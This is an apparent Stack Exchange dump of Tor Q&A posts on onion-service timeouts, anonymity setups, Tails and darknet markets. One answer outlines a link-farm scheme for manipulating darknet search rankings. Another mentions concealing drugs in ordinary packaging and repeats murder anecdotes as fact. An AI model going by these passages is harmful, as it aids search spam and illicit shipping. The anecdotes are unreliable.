  <row Id="21966" PostTypeId="1" AcceptedAnswerId="21967" CreationDate="2021-01-28T10:07:10.390" Score="0" ViewCount="546" Body="&lt;p&gt;What does the Tor Project recommend to be the best timeout setting to use when contacting an onion service?&lt;/p&gt;&#xA;&lt;p&gt;I'm wrapping an ancient perl script with &lt;code&gt;torsocks&lt;/code&gt; so that it can reach my website via its &lt;code&gt;.onion&lt;/code&gt; address, but I'm getting a lot of these errors&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torsocks[xxxx]: Connection timed out (in socks5_recv_connect_reply() at socks5.c:547)&#xA;torsocks[yyyy]: Host unreachable (in socks5_recv_connect_reply() at socks5.c:539)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The perl script defaults to a timeout of 30 seconds, but I know that we should expect higher latency on the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;I also know that Tor Browser is a modified version of Firefox, so I wonder: does the Tor Project make any modifications to the default timeouts of Firefox when shipping the Tor Browser so it is more tolerant of this latency? If so, what?&lt;/p&gt;&#xA;&lt;p&gt;What does the Tor Project best-practices suggest that we should use for timeouts (in seconds) when attempting to reach an onion service?&lt;/p&gt;&#xA;" OwnerUserId="31208" LastActivityDate="2021-01-28T12:42:58.747" Title="What's the recommended timeout when torifying an application to access an onion service (torsocks .onion timeout)?" Tags="|tor-browser-bundle|torsocks|torify|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21967" PostTypeId="2" ParentId="21966" CreationDate="2021-01-28T10:44:40.460" Score="1" Body="&lt;p&gt;You should use your system's default for all tcp timeouts, which is likely &lt;strong&gt;60-90 seconds&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A quick diff of the &lt;code&gt;about:config&lt;/code&gt; settings matching &lt;code&gt;network.http*timeout&lt;/code&gt; in the following two browsers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mozilla Firefox 78.6.1esr and&lt;/li&gt;&#xA;&lt;li&gt;Tor Browser 8.5.5 (based on Mozilla Firefox 60.9.0esr)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;...shows two differences&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;network.http.connection-retry-timeout&lt;/code&gt; and&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;network.http.fallback-connection-timeout&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The first one (&lt;code&gt;network.http.connection-retry-timeout&lt;/code&gt;) is 250 (ms) in Firefox and 0 in Tor Browser. There's more info about this change here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/issues/7656&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/legacy/trac/-/issues/7656&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The second one (&lt;code&gt;network.http.fallback-connection-timeout&lt;/code&gt;) doesn't exist in the Tor Browser at all. I'm guessing it's a newer Firefox thing that may pop-up in Tor Browser at a later date?&lt;/p&gt;&#xA;&lt;p&gt;Anyway, reading through the Tor Project's gitlab issue in the link above (and the fact that almost all of the &lt;code&gt;about:config&lt;/code&gt; &lt;code&gt;network.http*&lt;/code&gt; timeouts align in vanilla Firefox and the Tor Browser), it seems that the official opinion of the Tor Project is, more-or-less: leave the timeouts at their defaults--which is likely 60-90 seconds, &lt;a href=&quot;http://kb.mozillazine.org/Network.http.connect.timeout&quot; rel=&quot;nofollow noreferrer&quot;&gt;depending on your OS&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31208" LastEditorUserId="31208" LastEditDate="2021-01-28T12:42:58.747" LastActivityDate="2021-01-28T12:42:58.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21968" PostTypeId="1" CreationDate="2021-01-28T14:17:28.657" Score="0" ViewCount="988" Body="&lt;p&gt;Torch is an example of a darknet search engine. How can search engine optimization (SEO) be done to make an .onion site appear at the top of search results? how is darknet SEO different than regular Google SEO,&#xA;where either the number of clicks or paid marketing can move a site to the top?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastEditorUserId="31488" LastEditDate="2021-01-28T17:58:57.940" LastActivityDate="2021-07-02T21:09:22.457" Title="Search engine optimization for .onion sites" Tags="|onion-services|onion-routing|directory|website|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21970" PostTypeId="1" CreationDate="2021-01-28T17:26:50.827" Score="1" ViewCount="507" Body="&lt;p&gt;Is it possible to more anonymous and on Tor than this setup and browsing method:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using Tails OS from USB which stores no data on hard drive&lt;/li&gt;&#xA;&lt;li&gt;Using Tor browser on safest mode&lt;/li&gt;&#xA;&lt;li&gt;Always automatically updating Tor browser&lt;/li&gt;&#xA;&lt;li&gt;Using NordVPN on top of Tor (Connecting to NordVPN first then Tor)&lt;/li&gt;&#xA;&lt;li&gt;Not installing any additional addons, plugins, or themes&lt;/li&gt;&#xA;&lt;li&gt;Not using JavaScript&lt;/li&gt;&#xA;&lt;li&gt;Not using P2P file sharing&lt;/li&gt;&#xA;&lt;li&gt;Blocking HTTP Websites and only using a secure connection&lt;/li&gt;&#xA;&lt;li&gt;Not logging into any account like (Gmail, facebook, etc.) and only using for sure anonymous accounts&lt;/li&gt;&#xA;&lt;li&gt;Never posting any personal information&lt;/li&gt;&#xA;&lt;li&gt;Not purchasing anything which could expose my identity&lt;/li&gt;&#xA;&lt;li&gt;Not downloading any file which could expose my identity&lt;/li&gt;&#xA;&lt;li&gt;Not browsing the internet on another browser simultaneously&lt;/li&gt;&#xA;&lt;li&gt;Only using public hotspots (since your home wifi could potentially leak data and check out: &lt;a href=&quot;https://www.reddit.com/r/TOR/comments/8x7dwj/why_public_wifi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/TOR/comments/8x7dwj/why_public_wifi/&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Using DuckDuckGo Onion search engine only&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;&lt;p&gt;The main reason to use Tor is to be anonymous so that nobody can track you on the internet and find out who your real life identity. So its useful to have the best configuration possible for the Tor browser when using it. I've heard an argument against having a VPN with Tor is safer since the VPN provider can see your IP address and can give your data away. So, is it safer to have a Tor over VPN connection or a VPN over Tor connection? It's a personal preference, but there are definitely advantages and disadvantages to both. Additionally, should this list be changed for mobile users or if the user is using the Onion browser  (thank you @user610620)?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-01T23:57:58.067" LastActivityDate="2021-02-01T23:57:58.067" Title="How to be more anonymous and safe on Tor" Tags="|tor-browser-bundle|configuration|anonymity|security|settings|" AnswerCount="0" CommentCount="17" ContentLicense="CC BY-SA 4.0" />
  <row Id="21971" PostTypeId="1" CreationDate="2021-01-28T18:13:29.497" Score="1" ViewCount="202" Body="&lt;p&gt;Is it possible to first connect to a VPN (like NordVPN or another VPN which supports VPN over Tor) that is preconfigured for Tor and then connect  to a VPN once you are browsing in Tor to encrypt both the exit and guard nodes? I've heard many people debate over whether Tor over VPN or VPN over Tor is better, but could you if you for some reason wanted to, do both at the same time? If so, what would the advantages and disadvantages?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-01T23:58:27.610" LastActivityDate="2021-02-01T23:58:27.610" Title="Can you have a setup with both VPN over Tor and Tor over VPN" Tags="|tor-browser-bundle|configuration|security|vpn|encryption|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21973" PostTypeId="2" ParentId="3778" CreationDate="2021-01-29T02:15:33.317" Score="0" Body="&lt;p&gt;I know this doesn't specifically answer your question, but I strongly discourage using Last Pass or for that matter any Firefox addon (plugins/extension) while using the Tor browser (which the Tor project also says). The Tor Project explains that addons can connect to the internet insecurely and can potentially leak your IP address on the internet. The whole point of using Tor is to be anonymous. If you are using websites that require passwords in Tor, just use another application like notepad to store your passwords just as Kelvin H stated. Its a more secure and reliable way. Besides, in the Firefox version of the Last Pass extension, it clearly states that it connects many types of data including your IP address, location information, Operating System, language, and: &lt;strong&gt;&amp;quot;unique device identifiers and other diagnostic data&amp;quot;&lt;/strong&gt;. Last Pass even uses Google Analytics which is subject to Google's private policy. Furthermore, it uses cookies to track you for login, preferences, advertisements, and security purposes. The Last Pass addon also determine's the user's location through a variety of methods. While it may be impossible to remember passwords, it would be easier for websites to track you and the whole point of Tor is to be anonymous, which is being eliminated through the use of Last Pass. The answer is clear, don't use LassPass and avoid addons always while using the Tor browser if possible. Use another application which only stores your passwords locally. This answer is just a summary of the other answers and I just wanted to include in detail about using Last Pass.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Last Pass collects numerous data about its users and can expose your anonymity while using the Tor browser - just use an application locally to store your passwords. If you really need for some reason to use Last Pass and it isn't working, it could be some glitch. Try reinstalling the extension or try installing it in the Firefox browser. If it works fine in the Firefox browser, then the issue is with using that specific addon on Tor. Also, try updating the Tor browser, as that could be an issue too.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-01-29T12:45:48.063" LastActivityDate="2021-01-29T12:45:48.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21974" PostTypeId="1" CreationDate="2021-01-29T02:56:01.663" Score="0" ViewCount="1776" Body="&lt;p&gt;If two USB drives are connected to a Windows notebook, one containing the Tails OS, are there any security loopholes or anonymity breaches by downloading files from .onion sites to the second USB drive? Are there any give-aways during transmission.&lt;/p&gt;&#xA;&lt;p&gt;How about SD cards instead of USB drives for saving files?&lt;/p&gt;&#xA;&lt;p&gt;Is the separate USB/SD safer than saving files directly to the notebook's hard drive, whether or not it's encrypted? Is the usage of encrypted USBs or SDs any better?&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2022-03-03T19:04:30.420" Title="Tails OS on one USB drive, but save downloaded files to second USB or SD drive" Tags="|tor-browser-bundle|tails|onion-routing|flash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21976" PostTypeId="1" AcceptedAnswerId="21978" CreationDate="2021-01-30T10:57:45.580" Score="0" ViewCount="423" Body="&lt;p&gt;I'm trying to access my tor server with python with the module torpy, but it didn'y worked. It continue sayying that the server is not reachable, but with tor I can connect with it.&lt;/p&gt;&#xA;&lt;p&gt;I've tryied this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from torpy import TorClient&#xA;&#xA;hostname = url&#xA;with TorClient() as tor:&#xA;    with tor.create_circuit(3) as circuit:&#xA;        with circuit.create_stream((hostname)) as stream:&#xA;            stream.send(b'hello')&#xA;            stream.close()&#xA;            print('done')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;this is the code of the client, maybe I have to change even the server's code or the torrc file?&lt;/strong&gt;*&lt;/p&gt;&#xA;" OwnerUserId="31656" LastActivityDate="2021-01-30T21:24:20.657" Title="Can't connect to Tor with python 3.9" Tags="|proxy|torsocks|python|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21977" PostTypeId="1" AcceptedAnswerId="21991" CreationDate="2021-01-30T19:38:26.633" Score="0" ViewCount="289" Body="&lt;p&gt;Bitcoin was only invented in 2008. Darknet has a much longer history than that. Given that Bitcoin first became a dominant currency on the darknet, and still is, what were darknet users using for a currency to buy and sell anonymously before Bitcoin was introduced? (Privacy coin Monero wasn't invented until 2014)&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-02-02T15:20:50.573" Title="What did Darknet shoppers use before Bitcoin?" Tags="|darknet|bitcoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21978" PostTypeId="2" ParentId="21976" CreationDate="2021-01-30T21:24:20.657" Score="0" Body="&lt;p&gt;Torpy doesn't support v3 onion services. You can find details here: &lt;a href=&quot;https://github.com/torpyorg/torpy#todo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torpyorg/torpy#todo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you're trying to use torpy to connect to your own onion service, you can make it a v2 service instead, but v2 services are deprecated and &lt;a href=&quot;https://blog.torproject.org/v2-deprecation-timeline&quot; rel=&quot;nofollow noreferrer&quot;&gt;will be removed&lt;/a&gt; from the network later this year. If you want to make a v2 service anyways, you can use the &lt;code&gt;HiddenServiceVersion 2&lt;/code&gt; line in your torrc when creating a new service.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-01-30T21:24:20.657" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="21979" PostTypeId="1" AcceptedAnswerId="21982" CreationDate="2021-01-31T19:03:48.690" Score="1" ViewCount="2161" Body="&lt;p&gt;I'm trying to upload image files (e.g. .jpg .jpeg .png) to certain social media websites (i.e. twitter) using the Tor Browser yet the uploaded images look all jumbled up, as in, there are pixels but the image is rendered as an unrecognizable pattern of different colors. Any idea what's causing this? OR what's the right way to upload an image to these web services? Thank you for the assistance!&lt;/p&gt;&#xA;" OwnerUserId="31661" LastActivityDate="2021-02-01T15:22:24.520" Title="Upload image file from directory to websites" Tags="|tor-browser-bundle|directory|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21981" PostTypeId="2" ParentId="20259" CreationDate="2021-02-01T02:53:08.897" Score="0" Body="&lt;p&gt;Why bother with all this complications if it's for personal use only?&#xA;You may simply use remote desktop or VNC.&#xA;Less troubles and access from anywhere.&lt;/p&gt;&#xA;" OwnerUserId="31552" LastActivityDate="2021-02-01T02:53:08.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21982" PostTypeId="2" ParentId="21979" CreationDate="2021-02-01T15:22:24.520" Score="1" Body="&lt;p&gt;Twitter is probably using the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API&quot; rel=&quot;nofollow noreferrer&quot;&gt;canvas&lt;/a&gt; to manipulate the photo. There are several other posts about Twitter photo uploads not working due to the canvas, but last year Tor Browser changed the canvas extraction to return a pattern of random colors, which is probably the new behaviour you're seeing. You can try temporarily disabling the &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; option in your &lt;code&gt;about:config&lt;/code&gt; settings, and then re-enabling it after you're done.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-02-01T15:22:24.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21983" PostTypeId="2" ParentId="21968" CreationDate="2021-02-01T15:55:56.410" Score="1" Body="&lt;p&gt;It is totally up to &amp;quot;designer&amp;quot; of this Search Engine, is not?&lt;/p&gt;&#xA;&lt;p&gt;Google has published their index-method, it is called &lt;a href=&quot;https://en.wikipedia.org/wiki/PageRank&quot; rel=&quot;nofollow noreferrer&quot;&gt;PageRank&lt;/a&gt;, so here you could at least guess a little bit... Nevertheless, nobody knows all of &amp;quot;The Kitchen&amp;quot; and war for the first places in Google's Search Results is endless...&lt;/p&gt;&#xA;&lt;p&gt;You could try to tap your target, using kind of reverse engineering hooks.&lt;/p&gt;&#xA;&lt;p&gt;Lets call your target - &lt;a href=&quot;https://torchsearch.wordpress.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Torch&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Lets guess, they shall copying Google's PageRank - because Google is #1.&#xA;So, you need to generate a &amp;quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Cloaking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cloak&lt;/a&gt;&amp;quot;. Methinks, this shall be &lt;a href=&quot;https://en.wikipedia.org/wiki/.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;onions sites&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Lets call the main one - &amp;quot;Directory&amp;quot; and lets place on it - links to 1,000 ( one thousand ) other onions-sites.&lt;/p&gt;&#xA;&lt;p&gt;Backward, on all of this 1,000 new onions-sites, you should place links to this &amp;quot;Directory&amp;quot;, to increase the PageRank of your main-site, called &amp;quot;Directory&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Also, you should place links to &amp;quot;Directory&amp;quot; on all possible places, like reddits, other onions-dirs( for example, &lt;a href=&quot;https://ahmia.fi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ahmia.fi/&lt;/a&gt; ), all hidden forums ( like silk road was ), etc...&lt;/p&gt;&#xA;&lt;p&gt;Now you are ready.&lt;/p&gt;&#xA;&lt;p&gt;I dont know how long, but you need to wait for day, or may be week, may be month, unlikely year.... Before web-crawler of Torch will index all your 1,000 sites and will increase PageRank of your main-site, called &amp;quot;Directory&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;After awhile, you will check your &amp;quot;Directory&amp;quot; in Torch results, and it shall take some top-place.&#xA;However, Torch might black-list your site, because - it is not real, it is fake / dirty-cloaking shit..&lt;/p&gt;&#xA;&lt;p&gt;And so on. It is Fighting of projectile and armor.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You will generate new cloak each week/month/year. Guessing how they indexing.... How they far from original Google's PageRank idea...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They will finding you, blacklisting you, and changing all their indexing-algorithms.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31669" LastEditorUserId="31669" LastEditDate="2021-02-02T12:03:32.343" LastActivityDate="2021-02-02T12:03:32.343" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21984" PostTypeId="1" AcceptedAnswerId="21986" CreationDate="2021-02-01T17:08:35.323" Score="0" ViewCount="419" Body="&lt;p&gt;If Tor browser anonymizes our IP address, why go to extra lengths to not use Tor from home?&lt;/p&gt;&#xA;&lt;p&gt;What added benefit does going to a public wi-fi hotspot even provide a Tor user?&lt;/p&gt;&#xA;&lt;p&gt;Does it simply defend against the fact that our ISP at home could have logs showing that we are running Tor browser from home (but not the .onion sites we're on)? Or is there more to this step? How and why would Tor fail to randomize our IP? that would make it a faulty product&lt;/p&gt;&#xA;" OwnerUserId="31488" LastActivityDate="2021-02-01T20:36:17.070" Title="What's so bad about using Tor from home?" Tags="|tor-browser-bundle|anonymity|onion-routing|deanonymization|ip-address-leak|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21985" PostTypeId="1" CreationDate="2021-02-01T17:32:31.970" Score="1" ViewCount="39" Body="&lt;p&gt;Often times when making an account there is a CAPTCHA and they don't have an audio alternative.&lt;/p&gt;&#xA;&lt;p&gt;How can a blind person get around this as it can cause issues for a blind person wanting to speak with others about things often censored on regular social media sites such as anarchy, real occult stuff, like meeting in person and even anything far left. Facebook is often biased and doesn't allow someone to speak their mind.&lt;/p&gt;&#xA;" OwnerUserId="27281" LastEditorUserId="25432" LastEditDate="2021-08-08T19:19:34.870" LastActivityDate="2021-08-08T19:19:34.870" Title="I'm blind, how can I figure out the captas on Tor sights?" Tags="|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21986" PostTypeId="2" ParentId="21984" CreationDate="2021-02-01T20:30:06.900" Score="1" Body="&lt;p&gt;This post on Reddit: &lt;a href=&quot;https://www.reddit.com/r/TOR/comments/8x7dwj/why_public_wifi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.reddit.com/r/TOR/comments/8x7dwj/why_public_wifi/&lt;/a&gt; is a good source to answer this question. As one Reddit use stated, if your Internet Service Provider can see you are using Tor (assuming you directly connecting to the guard node) and is also the Internet Service Provider of the connection endpoint like the website (which is more likely if the website servers are in your country), it can connect the timing of hopping on Tor and can technically make it possible to pinpoint you. Even if the two corporations aren't the same, governments can request the data. Basically, by using a free wifi, it's not your internet connection and thus you won't be susceptible to correlation attacks.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Using a public wifi can help prevent correlation attacks where your connection might be identifiable. That's why generally it is better to use a public wifi.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-01T20:36:17.070" LastActivityDate="2021-02-01T20:36:17.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21987" PostTypeId="2" ParentId="21958" CreationDate="2021-02-01T23:56:25.167" Score="1" Body="&lt;p&gt;It is possible that NoScript means allowing JavaScript to run unrestricted in general, not just in the Tor browser but also all browsers, can be very dangerous since after all, it can lead to tracking, XSS, Cross-Site Request Forgery after all. However, if NoScript specifically means allowing JavaScript in Tor browser is dangerous, it could be due to the potential for malicious scripts. Scripts that could accidentally make you install extensions/plugins and compromise your security, scripts that could allow for Self-XSS, or uneccesary scripts that could greatly slow Tor browser down, etc. If the user doesn't have the best security mode enabled, NoScript acts as a second layer of defense for the user's privacy which could be compromised through JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; NoScript considers using JavaScript unrestricted since it could hurt the user's experience by compromising their privacy through the methods mentioned above. It's not as though it would immediately make you identifiable, but it could increase the chance of hurting your privacy/anonymity. That's why Tor browser has a setting to make the privacy mode &amp;quot;safest&amp;quot; which disables JavaScript, since it can hurt your anonymity/privacy.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-02-01T23:56:25.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21988" PostTypeId="1" CreationDate="2021-02-02T06:45:35.103" Score="3" ViewCount="1206" Body="&lt;p&gt;If I send email from gmail account using Tor browser with VPN connection can my identity be anonymous? can anyone find me out by tracking my email?&lt;/p&gt;&#xA;" OwnerUserId="31670" LastActivityDate="2021-02-09T20:12:55.010" Title="how to send email anonymous from Gmail" Tags="|anonymity|ip-address|fingerprinting|openvpn|ip-address-leak|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21989" PostTypeId="2" ParentId="21988" CreationDate="2021-02-02T13:03:35.493" Score="4" Body="&lt;p&gt;You can't. If you want to stay anonymous, you cannot send an email through Gmail as you will lose your anonymity. One of the main things not to do while using Tor is to use Google services since your emails are not private and can easily be read and traced. No email service is completely anonymous though there are certain email services which are more private than others. As an alternative, if you really have to send an email on the Tor browser (don't), use &lt;strong&gt;Proton Mail&lt;/strong&gt;. It's definitely one of the most private email services and if you want to be anonymous, use this. If you want to only send one email or only receive one email, you should use &lt;strong&gt;Guerilla Mail&lt;/strong&gt; since it's an anonymous disposable email service. You also should remember not to include any personal information or identifiable information in case the email is read and to use a VPN when sending. No email service is perfect at keeping you anonymous, but there are better ways to send emails on Tor than using Gmail.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31488" LastEditDate="2021-02-02T15:22:37.360" LastActivityDate="2021-02-02T15:22:37.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21991" PostTypeId="2" ParentId="21977" CreationDate="2021-02-02T15:17:28.980" Score="1" Body="&lt;p&gt;Using credit cards or PayPal accounts (stolen or not) weren't that private or anonymous and could be traced, so the majority of darknet shoppers didn't use them while purchasing products even before Bitcoin. There were other cryptocurrencies before Bitcoin that &lt;em&gt;could&lt;/em&gt; have been used in darknet shopping. For example, as &lt;a href=&quot;https://www.investopedia.com/tech/were-there-cryptocurrencies-bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.investopedia.com/tech/were-there-cryptocurrencies-bitcoin/&lt;/a&gt; says, cryptocurrencies including &lt;strong&gt;B-Money&lt;/strong&gt;, &lt;strong&gt;Bit Gold&lt;/strong&gt;, &lt;strong&gt;Hashcash&lt;/strong&gt; were there before Bitcoin. So there definitely were cryptocurrencies before Bitcoin and some of those could have been used though this might not be the case if the cryptocurrency in question is not so anonymous. Along with this, darknet shoppers could have traded items. They could have traded stolen credit cards, drugs, firearms, etc. with others. While darknet markets were there at the time, they didn't have as much of a name or attention until Silk Road came which made Bitcoin explode.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;  There were cryptocurrencies before Bitcoin that perhaps could have been used (like a beta version of how Bitcoin is used today) and products could have been traded. Cryptocurrencies weren't used as much before Bitcoin since the darknet markets weren't as large as they are today.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31488" LastEditDate="2021-02-02T15:20:50.573" LastActivityDate="2021-02-02T15:20:50.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21992" PostTypeId="1" CreationDate="2021-02-02T16:29:18.907" Score="0" ViewCount="79" Body="&lt;p&gt;i want to have a Tor backend with onion link. But i want it with a frontend like, backend only work with frontend.&lt;/p&gt;&#xA;&lt;p&gt;And 2. Question - I want to translate the tor traffic to the clearweb like tor2web but with my own.&lt;/p&gt;&#xA;&lt;p&gt;It should only work with the frontend proxy from tor&lt;/p&gt;&#xA;&lt;p&gt;How can i do it?&lt;/p&gt;&#xA;" OwnerUserId="31679" LastActivityDate="2021-02-02T16:29:18.907" Title="Backend frontend system" Tags="|web-proxy|pre-tor-proxy|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21993" PostTypeId="2" ParentId="21952" CreationDate="2021-02-02T16:49:15.517" Score="1" Body="&lt;p&gt;You are correct, packages are usually inspected and can technically be seized and the seller knows your name and home address. And there is no guarantee if the package will even arrive or if it will arrive with your product. Sometimes it can be hand delivered by the seller which is even more dangerous. There also isn't a guarantee if it's actually law enforcement who is baiting the wrong-doers into buying a false package. From here you can see that it's too dangerous really to buy illegal goods and counterfeit money. So why do the buyers buy the product. Here's why:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;They think they are protected well by using Tails OS and/or a VPN even though they've given their personal information to someone else.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since many people buying, certain buyers could be naive enough to assume everything would turn out alright and may not know the risk of ordering such items.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Website reviews (which may or may not be accurate) could persuade a user to purchase a product.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They could be buying out of curiosity to see if the dark web markets are scams or actually bring real products.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the Silk Road (which was pretty genuine) many users bought illegal goods and even after it shutdown, people may still have wanted to continue buying these substances.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In a country where medical drugs are hard to get, certain people may resort to buying these drugs of dark web markets even if they know it is risky.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They may want to see if mystery boxes are truly real and not scams.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They may just want to heavily arm themselves from any threats they have and may resort to buying illegal firearms for protection.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They could be buying a product to use it in a crime for the future.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Their friends or someone they are close to encourages them to buy these products. A group of friends could buy some drugs through the dark web.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The buyer may feel that dark web markets are a safer way to evade law enforcement while obtaining an illegal product.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I've heard of a story where someone bought drugs off the dark web except the sellers murdered their mom and the buyer got charged with drug possession. I've also heard a story where someone wanted to really see if mystery boxes existed, so he ordered one on the dark web for $500 in bitcoin. It ended in him receiving a hand delivered box with a photo album of his family and his parents were killed by the seller. Overall, ordering products on the dark web is too risky and most people just see it as a valid option when in fact it can put them in danger due to the seller being unverified and anonymous (scamming can occur).&lt;/p&gt;&#xA;&lt;p&gt;Okay, so we understand why users might want to buy illegal substances, but how could they make sure the shipping works. Well, one technique which could be dangerous for the buyer is to hand deliver the package. This could work if there were local dealers with the goods in the buyer's area. The truth is that sellers  can't truly and probably won't ensure the seller receiving the package since by that point they already get the bitcoin. They have the ability to scam the user which usually happens. But let's say that this is a known seller who does deliver illegal goods. Then a technique to disguise the product is to wrap it in a legal cover. For example, drugs could be wrapped in a shoe box. However, they can still be seized by law enforcement. In short, darknet merchants can't really do too much to ensure the customer receives the package. They rely on their brand and reviews to get buyers. So the answer to this question is really they can't truly guarantee that the product will come - they can only try to make sure it does if they don't want to scam the buyer and do care about the product arriving and the customer being happy.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-02-14T20:00:59.363" LastActivityDate="2021-02-14T20:00:59.363" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
